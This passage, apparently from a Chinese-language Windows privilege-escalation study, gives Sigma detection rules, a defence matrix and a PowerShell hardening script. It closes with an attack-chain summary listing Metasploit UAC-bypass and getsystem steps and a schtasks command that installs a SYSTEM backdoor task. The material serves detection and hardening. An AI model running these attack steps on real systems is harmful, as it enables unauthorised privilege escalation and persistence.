SubjectUserName!="*$" AND NOT match(SubjectUserName, "^.*\$")| stats count by _time, host, SubjectUserName, PrivilegeList| sort -_time"""
}
5.3 Sigma 规则
# sigma-uac-bypass-fodhelper.yml
title: UAC Bypass via fodhelper.exe
id: d5eacc1d-afa0-4f6a-9e7a-1a8a1a1a1a1a
status: stable
description: >Detects UAC bypass using fodhelper.exe by monitoring for suspiciouschild processes spawned by fodhelper.
author: Security Research
date: 2026/07/30
tags:- attack.privilege_escalation- attack.t1548.002- attack.defense_evasion
logsource:product: windowscategory: process_creation
detection:selection_parent:ParentImage|endswith: '\fodhelper.exe'suspicious_child:Image|endswith:- '\cmd.exe'- '\powershell.exe'- '\wscript.exe'- '\cscript.exe'- '\mshta.exe'- '\rundll32.exe'condition: selection_parent and suspicious_child
falsepositives:- Unknown
level: high---
# sigma-uac-bypass-registry.yml
title: UAC Bypass Registry Key Modification
id: a2e2d1c0-1234-5678-9abc-def012345678
status: stable
description: >Detects modification of registry keys commonly abused for UAC bypass.
author: Security Research
date: 2026/07/30
tags:- attack.privilege_escalation- attack.t1548.002
logsource:product: windowscategory: registry_event
detection:selection:TargetObject|contains:- 'ms-settings\Shell\Open\command'- 'mscfile\shell\open\command'- 'exefile\shell\open\command'- 'Classes\CLSID\'condition: selection
falsepositives:- Legitimate software installation
level: high---
# sigma-getsystem-service.yml
title: Privilege Escalation via Service Creation
id: b3f3e2d1-2345-6789-abcd-ef1234567890
status: stable
description: >Detects privilege escalation by creating a Windows service thatexecutes suspicious commands, characteristic of getsystem technique.
author: Security Research
date: 2026/07/30
tags:- attack.privilege_escalation- attack.t1574
logsource:product: windowsservice: system
detection:selection:EventID: 4697ServiceFileName|contains:- 'cmd.exe'- 'powershell.exe'- 'echo'- 'pipe'condition: selection
falsepositives:- Legitimate administrative service installation
level: critical
6. 防御建议
6.1 防御措施矩阵
| 措施 |
缓解的攻击 |
实施方法 |
| 提升 UAC 级别 |
所有 UAC 绕过 |
ConsentPromptBehaviorAdmin=0x2 (始终通知) |
| 移除本地管理员权限 |
UAC 绕过 + getsystem |
普通用户不驻留管理员组 |
| 监控注册表路径 |
fodhelper/eventvwr/sdclt 绕过 |
对 HKCU\Software\Classes\ 设置告警 |
| PowerShell 日志 |
手动 UAC 绕过 |
启用 ScriptBlock Logging + AMSI |
| 应用白名单 |
所有提权 |
AppLocker / WDAC 阻止未授权 exe |
| 禁用 Print Spooler |
PrintSpoofer (技术 5) |
Stop-Service -Name Spooler -Force |
| 限制 SeImpersonatePrivilege |
Potato 系列 |
仅授予必要服务账户 |
| 服务路径加引号 |
未加引号服务路径 |
修复所有服务路径 |
| 禁用 AlwaysInstallElevated |
MSI 提权 |
注册表置 0 |
| 部署 Sysmon |
全部 |
监控进程、注册表、网络 |
| EDR 部署 |
全部 |
行为分析 + 机器学习检测 |
6.2 加固脚本
# Windows 提权防御加固脚本
# 需要管理员权限运行function Invoke-PrivEscHardening {# 1. 提升 UAC 级别到"始终通知"Write-Host "[*] Setting UAC to 'Always Notify'..." -ForegroundColor CyanSet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `-Name "ConsentPromptBehaviorAdmin" -Value 2Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `-Name "EnableLUA" -Value 1Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `-Name "PromptOnSecureDesktop" -Value 1# 2. 禁用 AlwaysInstallElevatedWrite-Host "[*] Disabling AlwaysInstallElevated..." -ForegroundColor Cyan$paths = @("HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer","HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer")foreach ($path in $paths) {if (Test-Path $path) {Set-ItemProperty $path -Name "AlwaysInstallElevated" -Value 0}}# 3. 修复未加引号的服务路径Write-Host "[*] Fixing unquoted service paths..." -ForegroundColor Cyan$services = Get-WmiObject Win32_Service | Where-Object {$_.PathName -notmatch '"' -and$_.PathName -match ' ' -and$_.StartMode -eq "Auto"}foreach ($svc in $services) {$oldPath = $svc.PathName$exePath = ($svc.PathName -split ' ')[0]$newPath = "`"$exePath`""Write-Host " Fixing: $($svc.Name)"Write-Host " Old: $oldPath"Write-Host " New: $newPath"# 注意: 实际修复需要 sc config# sc.exe config $svc.Name binPath= $newPath}# 4. 启用 PowerShell 脚本块日志Write-Host "[*] Enabling PowerShell ScriptBlock Logging..." -ForegroundColor Cyan$psPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"if (-not (Test-Path $psPath)) {New-Item -Path $psPath -Force | Out-Null}Set-ItemProperty $psPath -Name "EnableScriptBlockLogging" -Value 1# 5. 启用 AMSI (如果被禁用则恢复)Write-Host "[*] Ensuring AMSI is enabled..." -ForegroundColor Cyan$amsiPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AMSILess"if (Test-Path $amsiPath) {Remove-Item $amsiPath -Recurse -Force}# 6. 禁用 Print Spooler (如果不需要打印功能)Write-Host "[*] Disabling Print Spooler service..." -ForegroundColor CyanStop-Service -Name Spooler -Force -ErrorAction SilentlyContinueSet-Service -Name Spooler -StartupType Disabled# 7. 限制 SeImpersonatePrivilegeWrite-Host "[*] Reviewing SeImpersonatePrivilege assignments..." -ForegroundColor Cyan$secpol = secedit /export /cfg "$env:TEMP\secpol.cfg"$content = Get-Content "$env:TEMP\secpol.cfg"$impersonation = ($content | Select-String "SeImpersonatePrivilege").ToString()Write-Host " Current: $impersonation"# 建议仅授予: Administrators, LOCAL SERVICE, NETWORK SERVICE, SERVICE# 8. 清理自动运行项Write-Host "[*] Reviewing autorun entries..." -ForegroundColor Cyan$runKeys = @("HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce","HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce")foreach ($key in $runKeys) {$entries = Get-ItemProperty $key -ErrorAction SilentlyContinueif ($entries) {$entries.PSObject.Properties | Where-Object {$_.Name -notmatch "^PS" } | ForEach-Object {Write-Host " $($key): $($_.Name) = $($_.Value)" -ForegroundColor Yellow}}}Write-Host "`n[+] Hardening complete!" -ForegroundColor GreenWrite-Host "[*] Recommended: Deploy Sysmon with privilege escalation detection rules" -ForegroundColor CyanWrite-Host "[*] Recommended: Deploy EDR with behavioral analysis" -ForegroundColor Cyan
}Invoke-PrivEscHardening
7. 完整攻击链复现总结
┌────────────────────────────────────────────────────────────────────┐
│ 完整攻击链复现: 普通用户 → SYSTEM │
│ │
│ Step 1: 初始访问 │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ 方法: 钓鱼邮件 / Web漏洞 / 弱口令爆破 │ │
│ │ 结果: 获得 Meterpreter session (Medium IL) │ │
│ │ 权限: SeShutdownPrivilege, SeChangeNotifyPrivilege │ │
│ └──────────────────────────┬──────────────────────────────┘ │
│ │ │
│ Step 2: 信息收集 ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ whoami /priv → 确认 Medium IL │ │
│ │ reg query UAC → ConsentPromptBehaviorAdmin=0x5 (可绕过) │ │
│ │ net localgroup Administrators → 用户在管理员组 │ │
│ │ local_exploit_suggester → 发现可用提权模块 │ │
│ └──────────────────────────┬──────────────────────────────┘ │
│ │ │
│ Step 3: UAC 绕过 ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ use exploit/windows/local/bypassuac_fodhelper │ │
│ │ set SESSION 1 │ │
│ │ exploit │ │
│ │ 结果: 新 session (High IL) │ │
│ │ 权限: + SeDebugPrivilege, + SeImpersonatePrivilege │ │
│ └──────────────────────────┬──────────────────────────────┘ │
│ │ │
│ Step 4: SYSTEM 提权 ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ getsystem -t 5 (PrintSpoofer 变体) │ │
│ │ 或 getsystem -t 0 (自动尝试所有技术) │ │
│ │ 结果: NT AUTHORITY\SYSTEM │ │
│ └──────────────────────────┬──────────────────────────────┘ │
│ │ │
│ Step 5: 持久化 ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ schtasks /create /tn "HealthCheck" /tr backdoor.exe │ │
│ │ /sc onstart /ru SYSTEM │ │
│ │ 或 use exploit/windows/local/persistence │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
│ 检测信号: │
│ ① Sysmon EID 1: fodhelper.exe → cmd.exe (UAC 绕过) │
│ ② Sysmon EID 13: ms-settings\Shell\Open\command (注册表写入) │
│ ③ WinEVT EID 4697: 服务创建 (getsystem 技术 1) │
│ ④ WinEVT EID 4698: SYSTEM 计划任务创建 (持久化) │
│ ⑤ WinEVT EID 4672: 非 SYSTEM 用户获得特殊权限 (提权信号) │
└────────────────────────────────────────────────────────────────────┘
免责声明重申:本文所有攻击技术、Metasploit 模块使用方法和 PoC 代码均基于公开的安全研究文档和 Metasploit 官方文档。所有内容仅用于授权的渗透测试环境中的技术学习。读者必须在合法授权范围内使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。